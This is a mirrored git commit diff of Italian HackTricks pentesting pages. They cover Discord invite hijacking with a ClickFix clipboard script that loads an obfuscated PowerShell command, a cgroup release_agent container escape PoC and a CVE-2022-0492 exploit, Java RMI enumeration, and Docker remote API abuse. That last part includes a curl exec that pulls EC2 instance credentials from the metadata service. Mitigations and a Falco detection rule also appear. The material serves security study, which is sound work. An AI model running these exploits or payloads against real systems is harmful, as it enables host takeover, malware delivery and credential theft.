mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
Translator
parent
0f5bacb5fe
commit
766782ebd8
@ -21,10 +21,10 @@ La vulnerabilità del sistema di inviti di Discord consente agli attori delle mi
|
||||
- Creare o utilizzare un server Discord esistente con privilegi di Potenziamento di Livello 3.
|
||||
- In **Impostazioni Server → URL Vanity**, tentare di assegnare il codice di invito target. Se accettato, il codice è riservato dal server malevolo.
|
||||
3. Attivazione del Dirottamento
|
||||
- Per inviti temporanei, attendere fino a quando l'invito originale scade (o eliminarlo manualmente se controlli la sorgente).
|
||||
- Per inviti temporanei, attendere che l'invito originale scada (o eliminarlo manualmente se controlli la sorgente).
|
||||
- Per codici contenenti lettere maiuscole, la variante minuscola può essere rivendicata immediatamente, anche se il reindirizzamento si attiva solo dopo la scadenza.
|
||||
4. Reindirizzamento Silenzioso
|
||||
- Gli utenti che visitano il vecchio link vengono inviati senza problemi al server controllato dall'attaccante una volta che il dirottamento è attivo.
|
||||
- Gli utenti che visitano il vecchio link vengono inviati senza soluzione di continuità al server controllato dall'attaccante una volta che il dirottamento è attivo.
|
||||
|
||||
## Flusso di Phishing tramite Server Discord
|
||||
|
||||
@ -35,7 +35,7 @@ La vulnerabilità del sistema di inviti di Discord consente agli attori delle mi
|
||||
- Visualizzare un messaggio CAPTCHA rotto.
|
||||
- Guidare gli utenti ad aprire la finestra di dialogo **Win+R**, incollare un comando PowerShell precaricato e premere Invio.
|
||||
|
||||
### Esempio di Iniezione negli Appunti ClickFix
|
||||
### Esempio di Iniezione Clipboard ClickFix
|
||||
```javascript
|
||||
// Copy malicious PowerShell command to clipboard
|
||||
const cmd = `powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';` +
|
||||
@ -55,7 +55,7 @@ Questo approccio evita download diretti di file e sfrutta elementi UI familiari
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
|
||||
- Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
|
||||
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
|
||||
- Discord Custom Invite Link Documentation – [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,7 +4,9 @@
|
||||
|
||||
**Per ulteriori dettagli, fare riferimento al** [**post originale del blog**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Questo è solo un riassunto:
|
||||
|
||||
Original PoC:
|
||||
---
|
||||
|
||||
## PoC classica (2019)
|
||||
```shell
|
||||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
||||
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
|
||||
@ -12,38 +14,108 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
|
||||
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
||||
```
|
||||
La prova di concetto (PoC) dimostra un metodo per sfruttare i cgroups creando un file `release_agent` e attivando la sua invocazione per eseguire comandi arbitrari sull'host del container. Ecco una suddivisione dei passaggi coinvolti:
|
||||
Il PoC sfrutta la funzionalità **cgroup-v1** `release_agent`: quando l'ultimo task di un cgroup che ha `notify_on_release=1` termina, il kernel (negli **spazi dei nomi iniziali sull'host**) esegue il programma il cui pathname è memorizzato nel file scrivibile `release_agent`. Poiché tale esecuzione avviene con **privilegi di root completi sull'host**, ottenere accesso in scrittura al file è sufficiente per un'uscita dal container.
|
||||
|
||||
### Breve guida leggibile
|
||||
|
||||
1. **Preparare un nuovo cgroup**
|
||||
|
||||
1. **Preparare l'Ambiente:**
|
||||
- Viene creata una directory `/tmp/cgrp` per fungere da punto di montaggio per il cgroup.
|
||||
- Il controller cgroup RDMA è montato su questa directory. In caso di assenza del controller RDMA, si suggerisce di utilizzare il controller cgroup `memory` come alternativa.
|
||||
```shell
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
```
|
||||
2. **Imposta il Cgroup Figlio:**
|
||||
- Viene creato un cgroup figlio chiamato "x" all'interno della directory cgroup montata.
|
||||
- Le notifiche sono abilitate per il cgroup "x" scrivendo 1 nel suo file notify_on_release.
|
||||
```shell
|
||||
mkdir /tmp/cgrp
|
||||
mount -t cgroup -o rdma cgroup /tmp/cgrp # o –o memory
|
||||
mkdir /tmp/cgrp/x
|
||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
```
|
||||
3. **Configura il Release Agent:**
|
||||
- Il percorso del container sull'host è ottenuto dal file /etc/mtab.
|
||||
- Il file release_agent del cgroup è quindi configurato per eseguire uno script chiamato /cmd situato nel percorso host acquisito.
|
||||
|
||||
2. **Puntare `release_agent` a uno script controllato dall'attaccante sull'host**
|
||||
|
||||
```shell
|
||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
|
||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||
```
|
||||
4. **Crea e Configura lo Script /cmd:**
|
||||
- Lo script /cmd viene creato all'interno del container e viene configurato per eseguire ps aux, reindirizzando l'output a un file chiamato /output nel container. Il percorso completo di /output sull'host è specificato.
|
||||
|
||||
3. **Rilasciare il payload**
|
||||
|
||||
```shell
|
||||
echo '#!/bin/sh' > /cmd
|
||||
echo "ps aux > $host_path/output" >> /cmd
|
||||
chmod a+x /cmd
|
||||
cat <<'EOF' > /cmd
|
||||
#!/bin/sh
|
||||
ps aux > "$host_path/output"
|
||||
EOF
|
||||
chmod +x /cmd
|
||||
```
|
||||
5. **Attivare l'attacco:**
|
||||
- Un processo viene avviato all'interno del cgroup figlio "x" e viene immediatamente terminato.
|
||||
- Questo attiva il `release_agent` (lo script /cmd), che esegue ps aux sull'host e scrive l'output in /output all'interno del container.
|
||||
|
||||
4. **Attivare il notifier**
|
||||
|
||||
```shell
|
||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # aggiungiamo noi stessi e usciamo immediatamente
|
||||
cat /output # ora contiene i processi dell'host
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Vulnerabilità del kernel 2022 – CVE-2022-0492
|
||||
|
||||
Nel febbraio 2022 Yiqi Sun e Kevin Wang hanno scoperto che **il kernel non verificava *le* capacità quando un processo scriveva in `release_agent` in cgroup-v1** (funzione `cgroup_release_agent_write`).
|
||||
|
||||
Effettivamente **qualsiasi processo che poteva montare una gerarchia cgroup (ad es. tramite `unshare -UrC`) poteva scrivere un percorso arbitrario in `release_agent` senza `CAP_SYS_ADMIN` nello *spazio dei nomi* utente *iniziale***. Su un container Docker/Kubernetes in esecuzione come root e configurato di default, questo ha permesso:
|
||||
|
||||
* escalation dei privilegi a root sull'host; ↗
|
||||
* uscita dal container senza che il container fosse privilegiato.
|
||||
|
||||
Il difetto è stato assegnato **CVE-2022-0492** (CVSS 7.8 / Alto) e corretto nelle seguenti versioni del kernel (e tutte le successive):
|
||||
|
||||
* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.
|
||||
|
||||
Commit di patch: `1e85af15da28 "cgroup: Fix permission checking"`.
|
||||
|
||||
### Exploit minimo all'interno di un container
|
||||
```bash
|
||||
# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
|
||||
apk add --no-cache util-linux # provides unshare
|
||||
unshare -UrCm sh -c '
|
||||
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
|
||||
echo 1 > /tmp/c/notify_on_release;
|
||||
echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host
|
||||
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
|
||||
while true; do sleep 1; done
|
||||
'
|
||||
```
|
||||
Se il kernel è vulnerabile, il binario busybox dal *host* viene eseguito con pieno accesso root.
|
||||
|
||||
### Indurimento e mitigazioni
|
||||
|
||||
* **Aggiorna il kernel** (≥ versioni superiori). Il patch ora richiede `CAP_SYS_ADMIN` nel *namespace* utente *iniziale* per scrivere su `release_agent`.
|
||||
* **Preferisci cgroup-v2** – la gerarchia unificata **ha rimosso completamente la funzionalità `release_agent`**, eliminando questa classe di escape.
|
||||
* **Disabilita i namespace utente non privilegiati** su host che non ne hanno bisogno:
|
||||
```shell
|
||||
sysctl -w kernel.unprivileged_userns_clone=0
|
||||
```
|
||||
* **Controllo di accesso obbligatorio**: le politiche AppArmor/SELinux che negano `mount`, `openat` su `/sys/fs/cgroup/**/release_agent`, o rimuovono `CAP_SYS_ADMIN`, fermano la tecnica anche su kernel vulnerabili.
|
||||
* **Maschera di bind in sola lettura** per tutti i file `release_agent` (esempio di script Palo Alto):
|
||||
```shell
|
||||
for f in $(find /sys/fs/cgroup -name release_agent); do
|
||||
mount --bind -o ro /dev/null "$f"
|
||||
done
|
||||
```
|
||||
|
||||
## Rilevamento in tempo reale
|
||||
|
||||
[`Falco`](https://falco.org/) include una regola integrata dalla v0.32:
|
||||
```yaml
|
||||
- rule: Detect release_agent File Container Escapes
|
||||
desc: Detect an attempt to exploit a container escape using release_agent
|
||||
condition: open_write and container and fd.name endswith release_agent and
|
||||
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
|
||||
thread.cap_effective contains CAP_SYS_ADMIN
|
||||
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
|
||||
priority: CRITICAL
|
||||
tags: [container, privilege_escalation]
|
||||
```
|
||||
La regola si attiva su qualsiasi tentativo di scrittura a `*/release_agent` da un processo all'interno di un contenitore che detiene ancora `CAP_SYS_ADMIN`.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
* [Unit 42 – CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) – analisi dettagliata e script di mitigazione.
|
||||
* [Sysdig Falco rule & detection guide](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -16,18 +16,18 @@ PORT STATE SERVICE VERSION
|
||||
```
|
||||
Di solito, solo i componenti predefiniti _Java RMI_ (il _RMI Registry_ e il _Activation System_) sono associati a porte comuni. Gli _oggetti remoti_ che implementano l'applicazione _RMI_ effettiva sono solitamente associati a porte casuali come mostrato nell'output sopra.
|
||||
|
||||
_nmap_ ha a volte problemi nell'identificare i servizi _RMI_ protetti da _SSL_. Se incontri un servizio ssl sconosciuto su una porta _RMI_ comune, dovresti indagare ulteriormente.
|
||||
_nmap_ ha a volte difficoltà a identificare i servizi _RMI_ protetti da _SSL_. Se incontri un servizio ssl sconosciuto su una porta _RMI_ comune, dovresti indagare ulteriormente.
|
||||
|
||||
## Componenti RMI
|
||||
|
||||
Per dirla in termini semplici, _Java RMI_ consente a uno sviluppatore di rendere un _oggetto Java_ disponibile sulla rete. Questo apre una porta _TCP_ a cui i client possono connettersi e chiamare metodi sull'oggetto corrispondente. Anche se sembra semplice, ci sono diverse sfide che _Java RMI_ deve affrontare:
|
||||
|
||||
1. Per inviare una chiamata di metodo tramite _Java RMI_, i client devono conoscere l'indirizzo IP, la porta in ascolto, la classe o interfaccia implementata e l'`ObjID` dell'oggetto target (l'`ObjID` è un identificatore unico e casuale che viene creato quando l'oggetto viene reso disponibile sulla rete. È necessario perché _Java RMI_ consente a più oggetti di ascoltare sulla stessa porta _TCP_).
|
||||
1. Per inviare una chiamata a un metodo tramite _Java RMI_, i client devono conoscere l'indirizzo IP, la porta di ascolto, la classe o interfaccia implementata e l'`ObjID` dell'oggetto target (l'`ObjID` è un identificatore unico e casuale che viene creato quando l'oggetto viene reso disponibile sulla rete. È necessario perché _Java RMI_ consente a più oggetti di ascoltare sulla stessa porta _TCP_).
|
||||
2. I client remoti possono allocare risorse sul server invocando metodi sull'oggetto esposto. La _Java virtual machine_ deve tenere traccia di quali di queste risorse sono ancora in uso e quali possono essere raccolte come spazzatura.
|
||||
|
||||
La prima sfida è risolta dal _RMI registry_, che è fondamentalmente un servizio di denominazione per _Java RMI_. Il _RMI registry_ stesso è anche un _servizio RMI_, ma l'interfaccia implementata e l'`ObjID` sono fissi e noti a tutti i client _RMI_. Questo consente ai client _RMI_ di consumare il _RMI registry_ semplicemente conoscendo la corrispondente porta _TCP_.
|
||||
La prima sfida è risolta dal _RMI registry_, che è fondamentalmente un servizio di denominazione per _Java RMI_. Il _RMI registry_ stesso è anche un _RMI service_, ma l'interfaccia implementata e l'`ObjID` sono fissi e noti a tutti i client _RMI_. Questo consente ai client _RMI_ di consumare il _RMI registry_ semplicemente conoscendo la corrispondente porta _TCP_.
|
||||
|
||||
Quando gli sviluppatori vogliono rendere i loro _oggetti Java_ disponibili all'interno della rete, di solito li associano a un _RMI registry_. Il _registry_ memorizza tutte le informazioni necessarie per connettersi all'oggetto (indirizzo IP, porta in ascolto, classe o interfaccia implementata e valore `ObjID`) e le rende disponibili sotto un nome leggibile dall'uomo (il _bound name_). I client che vogliono consumare il _servizio RMI_ chiedono al _RMI registry_ il corrispondente _bound name_ e il registry restituisce tutte le informazioni necessarie per connettersi. Pertanto, la situazione è fondamentalmente la stessa di un normale servizio _DNS_. Il seguente elenco mostra un piccolo esempio:
|
||||
Quando gli sviluppatori vogliono rendere i loro _oggetti Java_ disponibili all'interno della rete, di solito li associano a un _RMI registry_. Il _registry_ memorizza tutte le informazioni necessarie per connettersi all'oggetto (indirizzo IP, porta di ascolto, classe o interfaccia implementata e valore `ObjID`) e le rende disponibili sotto un nome leggibile dall'uomo (il _bound name_). I client che vogliono consumare il _RMI service_ chiedono al _RMI registry_ il corrispondente _bound name_ e il registry restituisce tutte le informazioni necessarie per connettersi. Pertanto, la situazione è fondamentalmente la stessa di un normale servizio _DNS_. Il seguente elenco mostra un piccolo esempio:
|
||||
```java
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
@ -51,15 +51,15 @@ e.printStackTrace();
|
||||
}
|
||||
}
|
||||
```
|
||||
La seconda delle sfide sopra menzionate è risolta dal _Distributed Garbage Collector_ (_DGC_). Questo è un altro _RMI service_ con un valore `ObjID` ben noto ed è disponibile praticamente su ogni _RMI endpoint_. Quando un _RMI client_ inizia a utilizzare un _RMI service_, invia un'informazione al _DGC_ che l'oggetto _remote_ corrispondente è in uso. Il _DGC_ può quindi tenere traccia del conteggio dei riferimenti ed è in grado di pulire gli oggetti non utilizzati.
|
||||
La seconda delle sfide sopra menzionate è risolta dal _Distributed Garbage Collector_ (_DGC_). Questo è un altro _RMI service_ con un valore `ObjID` ben noto ed è disponibile praticamente su ogni _RMI endpoint_. Quando un _RMI client_ inizia a utilizzare un _RMI service_, invia un'informazione al _DGC_ che il corrispondente _remote object_ è in uso. Il _DGC_ può quindi tenere traccia del conteggio dei riferimenti ed è in grado di pulire gli oggetti non utilizzati.
|
||||
|
||||
Insieme al _Activation System_ deprecato, questi sono i tre componenti predefiniti di _Java RMI_:
|
||||
Insieme al deprecato _Activation System_, questi sono i tre componenti predefiniti di _Java RMI_:
|
||||
|
||||
1. Il _RMI Registry_ (`ObjID = 0`)
|
||||
2. Il _Activation System_ (`ObjID = 1`)
|
||||
2. L' _Activation System_ (`ObjID = 1`)
|
||||
3. Il _Distributed Garbage Collector_ (`ObjID = 2`)
|
||||
|
||||
I componenti predefiniti di _Java RMI_ sono stati noti vettori di attacco per un bel po' di tempo e esistono più vulnerabilità nelle versioni obsolete di _Java_. Dal punto di vista di un attaccante, questi componenti predefiniti sono interessanti, perché implementano classi / interfacce note ed è facilmente possibile interagire con essi. Questa situazione è diversa per i _RMI services_ personalizzati. Per chiamare un metodo su un oggetto _remote_, è necessario conoscere in anticipo la corrispondente firma del metodo. Senza conoscere una firma di metodo esistente, non c'è modo di comunicare con un _RMI service_.
|
||||
I componenti predefiniti di _Java RMI_ sono stati noti vettori di attacco per un bel po' di tempo e esistono più vulnerabilità in versioni obsolete di _Java_. Dal punto di vista di un attaccante, questi componenti predefiniti sono interessanti, perché implementano classi / interfacce note ed è facilmente possibile interagire con essi. Questa situazione è diversa per i _RMI services_ personalizzati. Per chiamare un metodo su un _remote object_, è necessario conoscere in anticipo la corrispondente firma del metodo. Senza conoscere una firma di metodo esistente, non c'è modo di comunicare con un _RMI service_.
|
||||
|
||||
## RMI Enumeration
|
||||
|
||||
@ -80,7 +80,7 @@ $ rmg enum 172.17.0.2 9010
|
||||
[+]
|
||||
[+] RMI server codebase enumeration:
|
||||
[+]
|
||||
[+] - http://iinsecure.dev/well-hidden-development-folder/
|
||||
[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
|
||||
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
|
||||
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
|
||||
[+]
|
||||
@ -123,7 +123,7 @@ $ rmg enum 172.17.0.2 9010
|
||||
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
|
||||
[+] --> Client codebase enabled - Configuration Status: Non Default
|
||||
```
|
||||
L'output dell'azione di enumerazione è spiegato in maggiore dettaglio nelle [pagine di documentazione](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) del progetto. A seconda del risultato, dovresti cercare di verificare le vulnerabilità identificate.
|
||||
L'output dell'azione di enumerazione è spiegato in maggior dettaglio nelle [pagine di documentazione](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) del progetto. A seconda del risultato, dovresti cercare di verificare le vulnerabilità identificate.
|
||||
|
||||
I valori `ObjID` visualizzati da _remote-method-guesser_ possono essere utilizzati per determinare il tempo di attività del servizio. Questo può consentire di identificare altre vulnerabilità:
|
||||
```
|
||||
@ -209,7 +209,7 @@ Oltre a indovinare, dovresti anche cercare nei motori di ricerca o su _GitHub_ p
|
||||
|
||||
## Interfacce Conosciute
|
||||
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) contrassegna classi o interfacce come `known` se sono elencate nel database interno dello strumento di _RMI services_ conosciuti. In questi casi puoi usare l'azione `known` per ottenere maggiori informazioni sul corrispondente _RMI service_:
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) segna classi o interfacce come `known` se sono elencate nel database interno dello strumento di servizi _RMI_ conosciuti. In questi casi puoi usare l'azione `known` per ottenere maggiori informazioni sul corrispondente servizio _RMI_:
|
||||
```
|
||||
$ rmg enum 172.17.0.2 1090 | head -n 5
|
||||
[+] RMI registry bound names:
|
||||
@ -238,8 +238,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
|
||||
[+]
|
||||
[+] References:
|
||||
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
|
||||
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
|
||||
[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
|
||||
[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
|
||||
[+]
|
||||
[+] Vulnerabilities:
|
||||
[+]
|
||||
@ -253,7 +253,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
[+] is therefore most of the time equivalent to remote code execution.
|
||||
[+]
|
||||
[+] References:
|
||||
[+] - https://github.com/qtc-de/beanshooter
|
||||
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
|
||||
[+]
|
||||
[+] -----------------------------------
|
||||
[+] Name:
|
||||
@ -266,7 +266,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
[+] establish a working JMX connection, you can also perform deserialization attacks.
|
||||
[+]
|
||||
[+] References:
|
||||
[+] - https://github.com/qtc-de/beanshooter
|
||||
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
|
||||
```
|
||||
## Shodan
|
||||
|
||||
|
||||
@ -6,15 +6,15 @@
|
||||
|
||||
#### Cos'è
|
||||
|
||||
Docker è la **piattaforma all'avanguardia** nell'**industria della containerizzazione**, guidando la **continua innovazione**. Facilita la creazione e distribuzione senza sforzo di applicazioni, che spaziano da **tradizionali a futuristiche**, e assicura il loro **distribuzione sicura** in diversi ambienti.
|
||||
Docker è la **piattaforma all'avanguardia** nell'**industria della containerizzazione**, guidando **l'innovazione continua**. Facilita la creazione e distribuzione senza sforzo di applicazioni, che spaziano da **tradizionali a futuristiche**, e assicura il loro **distribuzione sicura** in ambienti diversi.
|
||||
|
||||
#### Architettura di base di docker
|
||||
|
||||
- [**containerd**](http://containerd.io): Questo è un **runtime core** per i container, incaricato della **gestione completa del ciclo di vita di un container**. Ciò comporta la gestione del **trasferimento e della memorizzazione delle immagini**, oltre a supervisionare l'**esecuzione, il monitoraggio e il networking** dei container. **Ulteriori approfondimenti** su containerd sono **esplorati ulteriormente**.
|
||||
- Il **container-shim** svolge un ruolo critico come **intermediario** nella gestione dei **container senza testa**, prendendo il controllo senza soluzione di continuità da **runc** dopo che i container sono stati inizializzati.
|
||||
- [**runc**](http://runc.io): Rinomato per le sue capacità di **runtime per container leggero e universale**, runc è allineato con il **standard OCI**. Viene utilizzato da containerd per **avviare e gestire i container** secondo le **linee guida OCI**, essendo evoluto dall'originale **libcontainer**.
|
||||
- [**containerd**](http://containerd.io): Questo è un **runtime core** per i container, incaricato della **gestione completa del ciclo di vita di un container**. Ciò comporta la gestione del **trasferimento e della memorizzazione delle immagini**, oltre a supervisionare l'**esecuzione, il monitoraggio e la rete** dei container. **Ulteriori approfondimenti** su containerd sono **esplorati ulteriormente**.
|
||||
- Il **container-shim** svolge un ruolo critico come **intermediario** nella gestione dei **container senza testa**, prendendo il controllo da **runc** dopo che i container sono stati inizializzati.
|
||||
- [**runc**](http://runc.io): Rinomato per le sue capacità di **runtime per container leggero e universale**, runc è allineato con lo **standard OCI**. Viene utilizzato da containerd per **avviare e gestire i container** secondo le **linee guida OCI**, essendo evoluto dall'originale **libcontainer**.
|
||||
- [**grpc**](http://www.grpc.io) è essenziale per **facilitare la comunicazione** tra containerd e il **docker-engine**, garantendo un'**interazione efficiente**.
|
||||
- L' [**OCI**](https://www.opencontainers.org) è fondamentale per mantenere le **specifiche OCI** per runtime e immagini, con le ultime versioni di Docker che sono **conformi sia agli standard delle immagini che a quelli del runtime OCI**.
|
||||
- L' [**OCI**](https://www.opencontainers.org) è fondamentale per mantenere le **specifiche OCI** per runtime e immagini, con le ultime versioni di Docker che sono **conformi sia agli standard delle immagini OCI che a quelli del runtime**.
|
||||
|
||||
#### Comandi di base
|
||||
```bash
|
||||
@ -41,7 +41,7 @@ docker system prune -a
|
||||
```
|
||||
#### Containerd
|
||||
|
||||
**Containerd** è stato sviluppato specificamente per soddisfare le esigenze delle piattaforme container come **Docker e Kubernetes**, tra le altre. Mira a **semplificare l'esecuzione dei container** su vari sistemi operativi, tra cui Linux, Windows, Solaris e altri, astrando le funzionalità specifiche del sistema operativo e le chiamate di sistema. L'obiettivo di Containerd è includere solo le funzionalità essenziali richieste dai suoi utenti, cercando di omettere componenti non necessari. Tuttavia, raggiungere completamente questo obiettivo è riconosciuto come una sfida.
|
||||
**Containerd** è stato sviluppato specificamente per soddisfare le esigenze delle piattaforme container come **Docker e Kubernetes**, tra gli altri. Mira a **semplificare l'esecuzione dei container** su vari sistemi operativi, tra cui Linux, Windows, Solaris e altri, astrando le funzionalità specifiche del sistema operativo e le chiamate di sistema. L'obiettivo di Containerd è includere solo le funzionalità essenziali richieste dai suoi utenti, cercando di omettere componenti non necessari. Tuttavia, raggiungere completamente questo obiettivo è riconosciuto come una sfida.
|
||||
|
||||
Una decisione chiave nel design è che **Containerd non gestisce la rete**. La rete è considerata un elemento critico nei sistemi distribuiti, con complessità come il Software Defined Networking (SDN) e la scoperta dei servizi che variano significativamente da una piattaforma all'altra. Pertanto, Containerd lascia gli aspetti di rete da gestire alle piattaforme che supporta.
|
||||
|
||||
@ -75,8 +75,8 @@ Podman è progettato per essere compatibile con l'API di Docker, consentendo l'u
|
||||
|
||||
L'approccio di Podman offre un'alternativa sicura e flessibile a Docker, enfatizzando la gestione dei privilegi degli utenti e la compatibilità con i flussi di lavoro Docker esistenti.
|
||||
|
||||
> [!NOTE]
|
||||
> Nota che poiché podman mira a supportare la stessa API di docker, puoi utilizzare gli stessi comandi con podman come con docker, come ad esempio:
|
||||
> [!TIP]
|
||||
> Nota che poiché podman mira a supportare la stessa API di docker, puoi utilizzare gli stessi comandi con podman come con docker, ad esempio:
|
||||
>
|
||||
> ```bash
|
||||
> podman --version
|
||||
@ -87,7 +87,7 @@ L'approccio di Podman offre un'alternativa sicura e flessibile a Docker, enfatiz
|
||||
|
||||
### Informazioni di Base
|
||||
|
||||
L'API remota è in esecuzione per impostazione predefinita sulla porta 2375 quando abilitata. Il servizio per impostazione predefinita non richiederà autenticazione, consentendo a un attaccante di avviare un container docker privilegiato. Utilizzando l'API remota, è possibile allegare host / (directory root) al container e leggere/scrivere file nell'ambiente dell'host.
|
||||
L'API remota è in esecuzione per impostazione predefinita sulla porta 2375 quando abilitata. Il servizio per impostazione predefinita non richiederà autenticazione, consentendo a un attaccante di avviare un container docker privilegiato. Utilizzando l'API remota, è possibile allegare host / (directory radice) al container e leggere/scrivere file dell'ambiente dell'host.
|
||||
|
||||
**Porta predefinita:** 2375
|
||||
```
|
||||
@ -134,9 +134,9 @@ docker-init:
|
||||
Version: 0.18.0
|
||||
GitCommit: fec3683
|
||||
```
|
||||
Se puoi **contattare l'API docker remota con il comando `docker`** puoi **eseguire** qualsiasi dei **comandi docker** [**precedentemente** commentati](2375-pentesting-docker.md#basic-commands) per interagire con il servizio.
|
||||
Se puoi **contattare l'API docker remota con il comando `docker`** puoi **eseguire** qualsiasi dei **comandi** [**docker precedentemente** commentati](2375-pentesting-docker.md#basic-commands) per interagire con il servizio.
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Puoi `export DOCKER_HOST="tcp://localhost:2375"` e **evitare** di usare il parametro `-H` con il comando docker
|
||||
|
||||
**Veloce escalation dei privilegi**
|
||||
@ -152,7 +152,7 @@ curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
|
||||
#List processes inside a container
|
||||
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
|
||||
#Set up and exec job to hit the metadata URL
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
|
||||
#Get the output
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
|
||||
# list secrets (no secrets/swarm not set up)
|
||||
|
||||
@ -58,7 +58,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
|
||||
1- What is this?
|
||||
* This is a Joomla! installation/upgrade package to version 3.x
|
||||
* Joomla! Official site: https://www.joomla.org
|
||||
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
|
||||
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
|
||||
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
|
||||
```
|
||||
### Versione
|
||||
@ -104,9 +104,9 @@ Se sei riuscito a ottenere **credenziali admin**, puoi **RCE all'interno di esso
|
||||
## Da XSS a RCE
|
||||
|
||||
